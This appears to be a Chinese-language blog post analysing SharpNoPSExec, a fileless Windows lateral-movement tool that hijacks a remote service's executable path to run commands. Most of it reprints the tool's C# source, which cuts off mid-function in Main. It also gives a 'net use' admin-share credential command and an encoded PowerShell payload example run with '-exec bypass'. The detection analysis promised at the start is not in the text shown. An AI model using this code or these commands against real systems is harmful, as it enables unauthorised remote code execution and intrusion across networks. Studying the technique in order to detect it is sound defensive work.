標簽:help tar 速度 efault start splay cti 手動 hang
Twitter上看到新的橫移工具,無需創建服務、無需文件落地,遠比PsExec來的難以檢測,我們針對這一工具進行原理分析、代碼分析、優缺點評估以及檢測方案:
Windows服務中,每一服務都有一個可執行文件路徑,這個地方可以替換成命令進行命令執行,而且這個可以遠程管理,當然這里肯定需要管理員權限,不然就成了RCE漏洞了。
我們可以遠程寫代碼去尋找到一個處于不啟動、需要手動啟動,沒有其他依賴關系的服務,改變這個可執行文件路徑,從而執行我們的命令。
先介紹一下幾個關鍵函數
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);
小貼士:如果第一個參數填寫的是對端也就是橫移目標的IP地址或機器名,需要首先在運行程序以前建立一個管理員權限,不僅僅需要知道賬號密碼,如何建立呢,答案也簡單,建立一個共享映射
net use \\xx.xx.xx.xx\admin$ "password" /user:username
然后調用兩個函數LogonUserA進行憑據認證,然后進行權限模擬,還是調用我們的老朋友:ImpersonateLoggedOnUser。該函數允許用戶模擬其他用戶的權限進行一些操作。
函數原型:
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
當然需要先導入函數:
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
修改舉例:
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
函數原型:
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
登錄用戶 —–> 打開遠程服務 —–> 設置服務執行程序為我們的 payload —–> 開啟服務
然后給出源代碼
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
namespace SharpNoPSExec
{
class ProgramOptions
{
/*參數類,主要就是用來獲取命令行參數*/
public string target;
public string username;
public string password;
public string payload;
public string service;
public string domain;
public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
{
target = uTarget;
username = uUsername;
password = uPassword;
payload = uPayload;
service = uService;
domain = uDomain;
}
}
class Program
{
[StructLayout(LayoutKind.Sequential)]
private struct QUERY_SERVICE_CONFIG
{
public uint serviceType;
public uint startType;
public uint errorControl;
public IntPtr binaryPathName;
public IntPtr loadOrderGroup;
public int tagID;
public IntPtr dependencies;
public IntPtr startName;
public IntPtr displayName;
}
public struct ServiceInfo
{
public uint serviceType;
public uint startType;
public uint errorControl;
public string binaryPathName;
public string loadOrderGroup;
public int tagID;
public string dependencies;
public string startName;
public string displayName;
public IntPtr serviceHandle;
}
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean ChangeServiceConfig(/*導入關鍵函數,下面的導入函數不在一一分析*/
IntPtr hService,
UInt32 nServiceType,
UInt32 nStartType,
UInt32 nErrorControl,
String lpBinaryPathName,
String lpLoadOrderGroup,
IntPtr lpdwTagId,
String lpDependencies,
String lpServiceStartName,
String lpPassword,
String lpDisplayName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string machineName,
string databaseName,
uint dwAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(
IntPtr hService,
IntPtr intPtrQueryConfig,
UInt32 cbBufSize,
out UInt32 pcbBytesNeeded);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll")]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken
);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
private const uint SERVICE_DEMAND_START = 0x00000003;
private const uint SERVICE_DISABLED = 0x00000004;
private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9
}
public enum LOGON_PROVIDER
{
/// <summary>
/// Use the standard logon provider for the system.
/// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
/// is not in UPN format. In this case, the default provider is NTLM.
/// NOTE: Windows 2000/NT: The default security provider is NTLM.
/// </summary>
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3
}
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
{
/*定義一個服務信息查詢函數,用來查詢服務的基本狀態,方便進行篩選和事后恢復*/
Console.WriteLine($" |-> Querying service {ServiceName}");
ServiceInfo serviceInfo = new ServiceInfo();
try
{
IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
uint bytesNeeded = 0;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
IntPtr qscPtr = IntPtr.Zero;
bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
if (!retCode && bytesNeeded == 0)
{
throw new Win32Exception();
}
else
{
qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
if (!retCode)
{
throw new Win32Exception();
}
qsc.binaryPathName = IntPtr.Zero;
qsc.dependencies = IntPtr.Zero;
qsc.displayName = IntPtr.Zero;
qsc.loadOrderGroup = IntPtr.Zero;
qsc.startName = IntPtr.Zero;
qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
}
serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
serviceInfo.errorControl = qsc.errorControl;
serviceInfo.serviceType = qsc.serviceType;
serviceInfo.startType = qsc.startType;
serviceInfo.tagID = qsc.tagID;
serviceInfo.serviceHandle = serviceHandle; // Return service handler
Marshal.FreeHGlobal(qscPtr);
}
catch (Exception)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
return serviceInfo;
}
public static void PrintBanner()
{
Console.WriteLine(@"
███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ███████╗███████╗██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔══██╗██╔══██╗██╔══██╗████╗ ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║ ██║██████╔╝███████╗█████╗ ╚███╔╝ █████╗ ██║
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║ ██║██╔═══╝ ╚════██║██╔══╝ ██╔██╗ ██╔══╝ ██║
███████║██║ ██║██║ ██║██║ ██║██║ ██║ ╚████║╚██████╔╝██║ ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ure?a (PlainText)
Twitter: @juliourena
");
}
public static void PrintHelp()
{
Console.WriteLine(@"Usage:
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target= - IP or machine name to attack.
--payload= - Payload to execute in the target machine.
Optional Arguments:
--username= - Username to authenticate to the remote computer.
--password= - Username‘s password.
--domain= - Domain Name, if no set a dot (.) will be used instead.
--service= - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help - Print help information.
");
}
static void Main(string[] args)
{
/*主函數開始*/
// example from https://github.com/s0lst1c3/SharpFinder
ProgramOptions options = new ProgramOptions();
foreach (string arg in args)//遍歷參數
{
if (arg.StartsWith("--target="))
{
string[] components = arg.Split(